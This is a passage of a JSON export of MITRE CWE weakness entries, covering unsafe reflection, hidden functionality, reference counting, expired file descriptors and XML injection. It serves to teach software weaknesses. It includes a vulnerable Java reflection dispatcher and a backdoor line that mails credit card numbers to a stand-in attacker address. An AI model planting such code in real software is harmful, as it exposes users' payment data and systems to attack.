request.getParameter(\"ctl\");", "Class cmdClass = Class.forName(ctl + \"Command\");", "Worker ao = (Worker) cmdClass.newInstance();", "ao.doAction(request);"]}, {"@Nature": "Bad", "@Language": "Java", "xhtml:div": {"xhtml:br": [null, null, null, null], "#text": "String ctl = request.getParameter(\"ctl\");\n\t\t\t\t Class cmdClass = Class.forName(ctl + \"Command\");\n\t\t\t\t Worker ao = (Worker) cmdClass.newInstance();\n\t\t\t\t ao.checkAccessControl(request);\n\t\t\t\t ao.doAction(request);"}, "#text_blocks": ["String ctl = request.getParameter(\"ctl\");", "Class cmdClass = Class.forName(ctl + \"Command\");", "Worker ao = (Worker) cmdClass.newInstance();", "ao.checkAccessControl(request);", "ao.doAction(request);"]}], "Body_Text": ["A programmer might refactor this code to use reflection as follows:", {"xhtml:p": ["The refactoring initially appears to offer a\n\t\t\t\t number of advantages. There are fewer lines of code,\n\t\t\t\t the if/else blocks have been entirely eliminated, and\n\t\t\t\t it is now possible to add new command types without\n\t\t\t\t modifying the command dispatcher.", "However, the refactoring allows an attacker to\n\t\t\t\t instantiate any object that implements the Worker\n\t\t\t\t interface. If the command dispatcher is still\n\t\t\t\t responsible for access control, then whenever\n\t\t\t\t programmers create a new class that implements the\n\t\t\t\t Worker interface, they must remember to modify the\n\t\t\t\t dispatcher's access control code. If they do not modify\n\t\t\t\t the access control code, then some Worker classes will\n\t\t\t\t not have any access control."], "#text_blocks": ["The refactoring initially appears to offer a\n\t\t\t\t number of advantages. There are fewer lines of code,\n\t\t\t\t the if/else blocks have been entirely eliminated, and\n\t\t\t\t it is now possible to add new command types without\n\t\t\t\t modifying the command dispatcher.", "However, the refactoring allows an attacker to\n\t\t\t\t instantiate any object that implements the Worker\n\t\t\t\t interface. If the command dispatcher is still\n\t\t\t\t responsible for access control, then whenever\n\t\t\t\t programmers create a new class that implements the\n\t\t\t\t Worker interface, they must remember to modify the\n\t\t\t\t dispatcher's access control code. If they do not modify\n\t\t\t\t the access control code, then some Worker classes will\n\t\t\t\t not have any access control."]}, "One way to address this access control\n problem is to make the Worker object responsible for\n performing the access control check. An example of the\n re-refactored code follows:", "Although this is an improvement, it\n encourages a decentralized approach to access control,\n which makes it easier for programmers to make access\n control mistakes.", "This code also highlights another security\n\t\t\t problem with using reflection to build a command\n\t\t\t dispatcher. An attacker can invoke the default\n\t\t\t constructor for any kind of object. In fact, the\n\t\t\t attacker is not even constrained to objects that\n\t\t\t implement the Worker interface; the default constructor\n\t\t\t for any object in the system can be invoked. If the\n\t\t\t object does not implement the Worker interface, a\n\t\t\t ClassCastException will be thrown before the assignment\n\t\t\t to ao, but if the constructor performs operations that\n\t\t\t work in the attacker's favor, the damage will already\n\t\t\t have been done. Although this scenario is relatively\n\t\t\t benign in simple products, in larger products where\n\t\t\t complexity grows exponentially, it is not unreasonable\n\t\t\t that an attacker could find a constructor to leverage\n\t\t\t as part of an attack."]}]}, "Observed_Examples": {"Observed_Example": [{"Reference": "CVE-2022-2054", "Description": "Python compiler uses eval() to execute malicious strings as Python code.", "Link": "https://www.cve.org/CVERecord?id=CVE-2022-2054"}, {"Reference": "CVE-2018-1000613", "Description": "Cryptography API uses unsafe reflection when deserializing a private key", "Link": "https://www.cve.org/CVERecord?id=CVE-2018-1000613"}, {"Reference": "CVE-2015-8103", "Description": "Deserialization issue in commonly-used Java library allows remote execution.", "Link": "https://www.cve.org/CVERecord?id=CVE-2015-8103"}, {"Reference": "CVE-2006-7079", "Description": "Chain: extract used for register_globals compatibility layer, enables path traversal (CWE-22)", "Link": "https://www.cve.org/CVERecord?id=CVE-2006-7079"}, {"Reference": "CVE-2012-2055", "Description": "Source version control product allows modification of trusted key using mass assignment.", "Link": "https://www.cve.org/CVERecord?id=CVE-2012-2055"}]}, "Mapping_Notes": {"Usage": "Allowed-with-Review", "Rationale": "This CWE entry is a Class and might have Base-level children that would be more appropriate", "Comments": "Examine children of this entry to see if there is a better fit", "Reasons": {"Reason": {"@Type": "Abstraction"}}}, "Content_History": {"Submission": {"Submission_Name": "CWE Content Team", "Submission_Organization": "MITRE", "Submission_Date": "2013-01-26", "Submission_Version": "2.4", "Submission_ReleaseDate": "2013-02-21"}, "Modification": [{"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2015-12-07", "Modification_Version": "2.9", "Modification_ReleaseDate": "2015-12-07", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2017-01-19", "Modification_Version": "2.10", "Modification_ReleaseDate": "2017-01-19", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2017-11-08", "Modification_Version": "3.0", "Modification_ReleaseDate": "2017-11-08", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2019-06-20", "Modification_Version": "3.3", "Modification_ReleaseDate": "2019-06-20", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2020-02-24", "Modification_Version": "4.0", "Modification_ReleaseDate": "2020-02-24", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2020-06-25", "Modification_Version": "4.1", "Modification_ReleaseDate": "2020-06-25", "Modification_Comment": "updated Potential_Mitigations"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2021-10-28", "Modification_Version": "4.6", "Modification_ReleaseDate": "2021-10-28", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-01-31", "Modification_Version": "4.10", "Modification_ReleaseDate": "2023-01-31", "Modification_Comment": "updated Description"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-04-27", "Modification_Version": "4.11", "Modification_ReleaseDate": "2023-04-27", "Modification_Comment": "updated Detection_Factors, Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-06-29", "Modification_Version": "4.12", "Modification_ReleaseDate": "2023-06-29", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-10-26", "Modification_Version": "4.13", "Modification_ReleaseDate": "2023-10-26", "Modification_Comment": "updated Observed_Examples"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2025-12-11", "Modification_Version": "4.19", "Modification_ReleaseDate": "2025-12-11", "Modification_Comment": "updated Applicable_Platforms, Demonstrative_Examples, Weakness_Ordinalities"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2026-10-28", "Modification_Version": "5.0", "Modification_ReleaseDate": "2026-10-28", "Modification_Comment": "updated Background_Details, Description"}]}, "entry_type": "Weakness", "ranking": 159.0}, {"@ID": "912", "@Name": "Hidden Functionality", "@Abstraction": "Class", "@Structure": "Simple", "@Status": "Incomplete", "Description": "The product contains functionality that is not documented, not part of the specification, and not accessible through an interface or command sequence that is obvious to the product's users or administrators.", "Related_Weaknesses": {"Related_Weakness": [{"@Nature": "ChildOf", "@CWE_ID": "684", "@View_ID": "1000", "@Ordinal": "Primary"}]}, "Weakness_Ordinalities": {"Weakness_Ordinality": {"Ordinality": "Primary"}}, "Applicable_Platforms": {"Language": {"@Class": "Not Language-Specific", "@Prevalence": "Undetermined"}, "Technology": [{"@Class": "Not Technology-Specific", "@Prevalence": "Undetermined"}, {"@Class": "ICS/OT", "@Prevalence": "Undetermined"}]}, "Background_Details": {"Background_Detail": "Hidden functionality can take many forms, such as intentionally malicious code, \"Easter Eggs\" that contain extraneous functionality such as games, developer-friendly shortcuts, etc."}, "Modes_Of_Introduction": {"Introduction": [{"Phase": "Architecture and Design"}, {"Phase": "Implementation", "Note": "Developers might use shortcuts that reduce maintenance or support costs such as hard-coded accounts."}]}, "Common_Consequences": {"Consequence": {"Scope": ["Other", "Integrity"], "Impact": ["Varies by Context", "Alter Execution Logic"], "Note": "From a security perspective, even when the functionality is not intentionally malicious or damaging, it can increase the product's attack surface and expose additional weaknesses beyond what is already exposed by the intended functionality. Even if it is not easily accessible, the hidden functionality could be useful for attacks that modify the control flow of the application."}}, "Detection_Methods": {"Detection_Method": {"Method": "Automated Static Analysis", "Description": "Conduct a code coverage analysis using live testing, then closely inspect any code that is not covered."}}, "Potential_Mitigations": {"Mitigation": [{"Phase": "Installation", "Description": ["Always verify the integrity of the product that is being installed."]}]}, "Demonstrative_Examples": {"Demonstrative_Example": [{"@Demonstrative_Example_ID": "DX-230", "Intro_Text": "In the example below, a malicious developer has injected code to send credit card numbers to the developer's own email address.", "Example_Code": {"@Nature": "Bad", "@Language": "Java", "xhtml:div": {"xhtml:div": {"@style": "margin-left:1em;", "xhtml:div": {"xhtml:br": [null, null, null, null, null], "xhtml:i": ["// Authorize credit card.", "..."], "#text": "mailCardNumber(ccn, \"evil_developer@evil_domain.com\");"}}, "#text": "boolean authorizeCard(String ccn) {}"}, "#text_blocks": ["boolean authorizeCard(String ccn) {", "// Authorize credit card.", "...", "mailCardNumber(ccn, \"evil_developer@evil_domain.com\");", "}"]}}, {"@Demonstrative_Example_ID": "DX-231", "Intro_Text": "Consider a device that comes with various security measures, such as secure boot. The secure-boot process performs firmware-integrity verification at boot time, and this code is stored in a separate SPI-flash device. However, this code contains undocumented \"special access features\" intended to be used only for performing failure analysis and intended to only be unlocked by the device designer.", "Example_Code": {"@Nature": "Bad", "@Language": "Other", "xhtml:div": "Attackers dump the code from the device and then perform reverse engineering to analyze the code. The undocumented, special-access features are identified, and attackers can activate them by sending specific commands via UART before secure-boot phase completes. Using these hidden features, attackers can perform reads and writes to memory via the UART interface. At runtime, the attackers can also execute arbitrary code and dump the entire memory contents.", "#text_blocks": ["Attackers dump the code from the device and then perform reverse engineering to analyze the code. The undocumented, special-access features are identified, and attackers can activate them by sending specific commands via UART before secure-boot phase completes. Using these hidden features, attackers can perform reads and writes to memory via the UART interface. At runtime, the attackers can also execute arbitrary code and dump the entire memory contents."]}, "Body_Text": "Remove all chicken bits and hidden features that are exposed to attackers. Add authorization schemes that rely on cryptographic primitives to access any features that the manufacturer does not want to expose. Clearly document all interfaces."}]}, "Observed_Examples": {"Observed_Example": [{"Reference": "CVE-2022-31260", "Description": "Chain: a digital asset management program has an undisclosed backdoor in the legacy version of a PHP script (CWE-912) that could allow an unauthenticated user to export metadata (CWE-306)", "Link": "https://www.cve.org/CVERecord?id=CVE-2022-31260"}, {"Reference": "CVE-2022-3203", "Description": "A wireless access point manual specifies that the only method of configuration is via web interface (CWE-1059), but there is an undisclosed telnet server that was activated by default (CWE-912).", "Link": "https://www.cve.org/CVERecord?id=CVE-2022-3203"}]}, "Related_Attack_Patterns": {"Related_Attack_Pattern": [{"@CAPEC_ID": "133"}, {"@CAPEC_ID": "190"}]}, "Mapping_Notes": {"Usage": "Allowed-with-Review", "Rationale": "This CWE entry is a Class and might have Base-level children that would be more appropriate", "Comments": "Examine children of this entry to see if there is a better fit", "Reasons": {"Reason": {"@Type": "Abstraction"}}}, "Content_History": {"Submission": {"Submission_Name": "CWE Content Team", "Submission_Organization": "MITRE", "Submission_Date": "2012-12-28", "Submission_Version": "2.4", "Submission_ReleaseDate": "2013-02-21"}, "Modification": [{"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2017-11-08", "Modification_Version": "3.0", "Modification_ReleaseDate": "2017-11-08", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2019-06-20", "Modification_Version": "3.3", "Modification_ReleaseDate": "2019-06-20", "Modification_Comment": "updated Related_Attack_Patterns"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2020-02-24", "Modification_Version": "4.0", "Modification_ReleaseDate": "2020-02-24", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2022-04-28", "Modification_Version": "4.7", "Modification_ReleaseDate": "2022-04-28", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-01-31", "Modification_Version": "4.10", "Modification_ReleaseDate": "2023-01-31", "Modification_Comment": "updated Applicable_Platforms, Description, Potential_Mitigations"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-04-27", "Modification_Version": "4.11", "Modification_ReleaseDate": "2023-04-27", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-06-29", "Modification_Version": "4.12", "Modification_ReleaseDate": "2023-06-29", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-10-26", "Modification_Version": "4.13", "Modification_ReleaseDate": "2023-10-26", "Modification_Comment": "updated Observed_Examples"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2025-04-03", "Modification_Version": "4.17", "Modification_ReleaseDate": "2025-04-03", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2025-12-11", "Modification_Version": "4.19", "Modification_ReleaseDate": "2025-12-11", "Modification_Comment": "updated Applicable_Platforms, Demonstrative_Examples, Detection_Factors, Potential_Mitigations, Weakness_Ordinalities"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2026-10-28", "Modification_Version": "5.0", "Modification_ReleaseDate": "2026-10-28", "Modification_Comment": "updated Background_Details, Common_Consequences, Demonstrative_Examples, Description, Modes_of_Introduction"}]}, "entry_type": "Weakness", "ranking": 200.0}, {"@ID": "911", "@Name": "Improper Update of Reference Count", "@Abstraction": "Base", "@Structure": "Simple", "@Status": "Incomplete", "Description": "The product uses a reference count to manage a resource, but it does not update or incorrectly updates the reference count.", "Related_Weaknesses": {"Related_Weakness": [{"@Nature": "ChildOf", "@CWE_ID": "664", "@View_ID": "1000", "@Ordinal": "Primary"}, {"@Nature": "CanPrecede", "@CWE_ID": "672", "@View_ID": "1000"}, {"@Nature": "CanPrecede", "@CWE_ID": "772", "@View_ID": "1000"}]}, "Weakness_Ordinalities": {"Weakness_Ordinality": {"Ordinality": "Primary"}}, "Applicable_Platforms": {"Language": [{"@Name": "C", "@Prevalence": "Sometimes"}, {"@Name": "C++", "@Prevalence": "Sometimes"}, {"@Class": "Not Language-Specific", "@Prevalence": "Undetermined"}]}, "Background_Details": {"Background_Detail": "Reference counts can be used when tracking how many objects contain a reference to a particular resource, such as in memory management or garbage collection. When the reference count reaches zero, the resource can be de-allocated or reused because there are no more objects that use it."}, "Modes_Of_Introduction": {"Introduction": {"Phase": "Implementation"}}, "Likelihood_Of_Exploit": "Medium", "Common_Consequences": {"Consequence": [{"Scope": "Availability", "Impact": ["DoS: Resource Consumption (Memory)", "DoS: Resource Consumption (Other)"], "Likelihood": "High", "Note": "If an adversary can prevent a reference count from reaching zero, then resources might not be released when they are supposed to, thus causing resources to become scarce for future needs."}, {"Scope": "Availability", "Impact": "DoS: Crash, Exit, or Restart", "Likelihood": "Low", "Note": "If an adversary can cause a reference count to reach zero when the resource is still in use, then a resource might be released before it is supposed to be, possibly forcing an error that causes the product to crash or exit out of its current operation."}]}, "Observed_Examples": {"Observed_Example": [{"Reference": "CVE-2002-0574", "Description": "Chain: reference count is not decremented, leading to memory leak in OS by sending ICMP packets.", "Link": "https://www.cve.org/CVERecord?id=CVE-2002-0574"}, {"Reference": "CVE-2004-0114", "Description": "Reference count for shared memory not decremented when a function fails, potentially allowing unprivileged users to read kernel memory.", "Link": "https://www.cve.org/CVERecord?id=CVE-2004-0114"}, {"Reference": "CVE-2006-3741", "Description": "Chain: improper reference count tracking leads to file descriptor consumption", "Link": "https://www.cve.org/CVERecord?id=CVE-2006-3741"}, {"Reference": "CVE-2007-1383", "Description": "Chain: integer overflow in reference counter causes the same variable to be destroyed twice.", "Link": "https://www.cve.org/CVERecord?id=CVE-2007-1383"}, {"Reference": "CVE-2007-1700", "Description": "Incorrect reference count calculation leads to improper object destruction and code execution.", "Link": "https://www.cve.org/CVERecord?id=CVE-2007-1700"}, {"Reference": "CVE-2008-2136", "Description": "Chain: incorrect update of reference count leads to memory leak.", "Link": "https://www.cve.org/CVERecord?id=CVE-2008-2136"}, {"Reference": "CVE-2008-2785", "Description": "chain/composite: use of incorrect data type for a reference counter allows an overflow of the counter, leading to a free of memory that is still in use.", "Link": "https://www.cve.org/CVERecord?id=CVE-2008-2785"}, {"Reference": "CVE-2008-5410", "Description": "Improper reference counting leads to failure of cryptographic operations.", "Link": "https://www.cve.org/CVERecord?id=CVE-2008-5410"}, {"Reference": "CVE-2009-1709", "Description": "Chain: improper reference counting in a garbage collection routine leads to use-after-free", "Link": "https://www.cve.org/CVERecord?id=CVE-2009-1709"}, {"Reference": "CVE-2009-3553", "Description": "Chain: reference count not correctly maintained when client disconnects during a large operation, leading to a use-after-free.", "Link": "https://www.cve.org/CVERecord?id=CVE-2009-3553"}, {"Reference": "CVE-2009-3624", "Description": "Reference count not always incremented, leading to crash or code execution.", "Link": "https://www.cve.org/CVERecord?id=CVE-2009-3624"}, {"Reference": "CVE-2010-0176", "Description": "improper reference counting leads to expired pointer dereference.", "Link": "https://www.cve.org/CVERecord?id=CVE-2010-0176"}, {"Reference": "CVE-2010-0623", "Description": "OS kernel increments reference count twice but only decrements once, leading to resource consumption and crash.", "Link": "https://www.cve.org/CVERecord?id=CVE-2010-0623"}, {"Reference": "CVE-2010-2549", "Description": "OS kernel driver allows code execution", "Link": "https://www.cve.org/CVERecord?id=CVE-2010-2549"}, {"Reference": "CVE-2010-4593", "Description": "improper reference counting leads to exhaustion of IP addresses", "Link": "https://www.cve.org/CVERecord?id=CVE-2010-4593"}, {"Reference": "CVE-2011-0695", "Description": "Race condition causes reference counter to be decremented prematurely, leading to the destruction of still-active object and an invalid pointer dereference.", "Link": "https://www.cve.org/CVERecord?id=CVE-2011-0695"}, {"Reference": "CVE-2012-4787", "Description": "improper reference counting leads to use-after-free", "Link": "https://www.cve.org/CVERecord?id=CVE-2012-4787"}]}, "References": {"Reference": {"@External_Reference_ID": "REF-884"}}, "Mapping_Notes": {"Usage": "Allowed", "Rationale": "This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.", "Comments": "Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.", "Reasons": {"Reason": {"@Type": "Acceptable-Use"}}}, "Content_History": {"Submission": {"Submission_Name": "CWE Content Team", "Submission_Organization": "MITRE", "Submission_Date": "2012-12-21", "Submission_Version": "2.4", "Submission_ReleaseDate": "2013-02-21"}, "Modification": [{"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2019-06-20", "Modification_Version": "3.3", "Modification_ReleaseDate": "2019-06-20", "Modification_Comment": "updated Type"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2020-02-24", "Modification_Version": "4.0", "Modification_ReleaseDate": "2020-02-24", "Modification_Comment": "updated Relationships, Type"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-01-31", "Modification_Version": "4.10", "Modification_ReleaseDate": "2023-01-31", "Modification_Comment": "updated Description"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-04-27", "Modification_Version": "4.11", "Modification_ReleaseDate": "2023-04-27", "Modification_Comment": "updated References, Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-06-29", "Modification_Version": "4.12", "Modification_ReleaseDate": "2023-06-29", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2025-04-03", "Modification_Version": "4.17", "Modification_ReleaseDate": "2025-04-03", "Modification_Comment": "updated Common_Consequences"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2026-10-28", "Modification_Version": "5.0", "Modification_ReleaseDate": "2026-10-28", "Modification_Comment": "updated Background_Details, Common_Consequences, Description"}]}, "entry_type": "Weakness", "ranking": 25.0}, {"@ID": "910", "@Name": "Use of Expired File Descriptor", "@Abstraction": "Base", "@Structure": "Simple", "@Status": "Incomplete", "Description": "The product uses or accesses a file descriptor after it has been closed.", "Related_Weaknesses": {"Related_Weakness": [{"@Nature": "ChildOf", "@CWE_ID": "672", "@View_ID": "1000", "@Ordinal": "Primary"}]}, "Weakness_Ordinalities": {"Weakness_Ordinality": {"Ordinality": "Resultant"}}, "Applicable_Platforms": {"Language": [{"@Name": "C", "@Prevalence": "Sometimes"}, {"@Name": "C++", "@Prevalence": "Sometimes"}, {"@Class": "Not Language-Specific", "@Prevalence": "Undetermined"}]}, "Background_Details": {"Background_Detail": "After a file descriptor for a particular file or device has been released, it can be reused."}, "Alternate_Terms": {"Alternate_Term": {"Term": "Stale file descriptor"}}, "Modes_Of_Introduction": {"Introduction": {"Phase": "Implementation"}}, "Likelihood_Of_Exploit": "Medium", "Common_Consequences": {"Consequence": [{"Scope": ["Confidentiality", "Integrity"], "Impact": ["Read Files or Directories", "Modify Files or Directories"], "Note": "The reused file descriptor might reference a different file or device than the original file descriptor. As a result, the program could read data from, or write data to, the wrong file."}, {"Scope": "Availability", "Impact": "DoS: Crash, Exit, or Restart", "Note": "Accessing a file descriptor that has been closed can cause a crash."}]}, "Detection_Methods": {"Detection_Method": {"@Detection_Method_ID": "DM-14", "Method": "Automated Static Analysis", "Description": "Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect \"sources\" (origins of input) with \"sinks\" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)", "Effectiveness": "High"}}, "Taxonomy_Mappings": {"Taxonomy_Mapping": {"@Taxonomy_Name": "CERT C Secure Coding", "Entry_ID": "FIO46-C", "Entry_Name": "Do not access a closed file", "Mapping_Fit": "Exact"}}, "Mapping_Notes": {"Usage": "Allowed", "Rationale": "This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.", "Comments": "Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.", "Reasons": {"Reason": {"@Type": "Acceptable-Use"}}}, "Content_History": {"Submission": {"Submission_Name": "CWE Content Team", "Submission_Organization": "MITRE", "Submission_Date": "2012-12-21", "Submission_Version": "2.4", "Submission_ReleaseDate": "2013-02-21", "Submission_Comment": "New weakness based on discussion on the CWE research list in December 2012."}, "Modification": [{"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2017-11-08", "Modification_Version": "3.0", "Modification_ReleaseDate": "2017-11-08", "Modification_Comment": "updated Taxonomy_Mappings"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2019-01-03", "Modification_Version": "3.2", "Modification_ReleaseDate": "2019-01-03", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2020-02-24", "Modification_Version": "4.0", "Modification_ReleaseDate": "2020-02-24", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-01-31", "Modification_Version": "4.10", "Modification_ReleaseDate": "2023-01-31", "Modification_Comment": "updated Description"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-04-27", "Modification_Version": "4.11", "Modification_ReleaseDate": "2023-04-27", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-06-29", "Modification_Version": "4.12", "Modification_ReleaseDate": "2023-06-29", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2025-12-11", "Modification_Version": "4.19", "Modification_ReleaseDate": "2025-12-11", "Modification_Comment": "updated Detection_Factors"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2026-10-28", "Modification_Version": "5.0", "Modification_ReleaseDate": "2026-10-28", "Modification_Comment": "updated Background_Details, Common_Consequences, Description, Weakness_Ordinalities"}]}, "entry_type": "Weakness", "ranking": 1.0}, {"@ID": "91", "@Name": "XML Injection", "@Abstraction": "Base", "@Structure": "Simple", "@Status": "Draft", "Description": "The product does not properly neutralize special elements that are used in XML, allowing attackers to modify the syntax, content, or commands of the XML before it is processed by an end system.", "Extended_Description": "Within XML, special elements could include reserved words or characters such as \"<\", \">\", \"\"\", and \"&\", which could then be used to add new data or modify XML syntax.", "Related_Weaknesses": {"Related_Weakness": [{"@Nature": "ChildOf", "@CWE_ID": "74", "@View_ID": "1000", "@Ordinal": "Primary"}, {"@Nature": "ChildOf", "@CWE_ID": "74", "@View_ID": "1003", "@Ordinal": "Primary"}]}, "Weakness_Ordinalities": {"Weakness_Ordinality": {"Ordinality": "Primary"}}, "Applicable_Platforms": {"Language": {"@Class": "Not Language-Specific", "@Prevalence": "Undetermined"}}, "Alternate_Terms": {"Alternate_Term": {"Term": "Blind XPath Injection", "Role": ["Common-Name", "Attack-Focused"]}}, "Modes_Of_Introduction": {"Introduction": {"Phase": "Implementation", "Note": "REALIZATION: This weakness is caused during implementation of an architectural security tactic."}}, "Common_Consequences": {"Consequence": {"Scope": ["Confidentiality", "Integrity", "Availability"], "Impact": ["Execute Unauthorized Code or Commands", "Read Application Data", "Modify Application Data"]}}, "Detection_Methods": {"Detection_Method": {"@Detection_Method_ID": "DM-14", "Method": "Automated Static Analysis", "Description": "Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect \"sources\" (origins of input) with \"sinks\" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)", "Effectiveness": "High"}}, "Potential_Mitigations": {"Mitigation": [{"@Mitigation_ID": "MIT-5", "Phase": "Implementation", "Strategy": "Input Validation", "Description": ["Assume all input is malicious. Use an \"accept known good\" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.", "When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, \"boat\" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as \"red\" or \"blue.\"", "Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright."]}]}, "Taxonomy_Mappings": {"Taxonomy_Mapping": [{"@Taxonomy_Name": "PLOVER", "Entry_Name": "XML injection (aka Blind Xpath injection)"}, {"@Taxonomy_Name": "OWASP Top Ten 2007", "Entry_ID": "A2", "Entry_Name": "Injection Flaws", "Mapping_Fit": "CWE More Specific"}, {"@Taxonomy_Name": "OWASP Top Ten 2004", "Entry_ID": "A6", "Entry_Name": "Injection Flaws", "Mapping_Fit": "CWE More Specific"}, {"@Taxonomy_Name": "WASC", "Entry_ID": "23", "Entry_Name": "XML Injection"}, {"@Taxonomy_Name": "Software Fault Patterns", "Entry_ID": "SFP24", "Entry_Name": "Tainted input to command"}]}, "Related_Attack_Patterns": {"Related_Attack_Pattern": [{"@CAPEC_ID": "250"}, {"@CAPEC_ID": "83"}]}, "References": {"Reference": [{"@External_Reference_ID": "REF-882"}, {"@External_Reference_ID": "REF-62", "@Section": "Chapter 17, \"XML Injection\", Page 1069"}, {"@External_Reference_ID": "REF-1534"}]}, "Mapping_Notes": {"Usage": "Allowed-with-Review", "Rationale": "This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.", "Comments": "This weakness might be confused with other weaknesses such as XXE. Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.", "Reasons": {"Reason": {"@Type": "Acceptable-Use"}}, "Suggestions": {"Suggestion": {"@CWE_ID": "611", "@Comment": "XML External Entity (XXE)"}}}, "Notes": {"Note": [{"@Type": "Maintenance", "#text": "The description for this entry is generally applicable to XML, but the name includes \"blind XPath injection\" which is more closely associated with CWE-643. Therefore this entry might need to be deprecated or converted to a general category - although injection into raw XML is not covered by CWE-643 or CWE-652."}, {"@Type": "Theoretical", "#text": "In vulnerability theory terms, this is a representation-specific case of a Data/Directive Boundary Error."}, {"@Type": "Research Gap", "#text": "Under-reported. This is likely found regularly by third party code auditors, but there are very few publicly reported examples."}]}, "Content_History": {"Submission": {"Submission_Name": "PLOVER", "Submission_Date": "2006-07-19", "Submission_Version": "Draft 3", "Submission_ReleaseDate": "2006-07-19"}, "Modification": [{"Modification_Name": "Eric Dalci", "Modification_Organization": "Cigital", "Modification_Date": "2008-07-01", "Modification_Version": "1.0", "Modification_ReleaseDate": "2008-09-09", "Modification_Comment": "updated Time_of_Introduction"}, {"Modification_Organization": "Veracode", "Modification_Date": 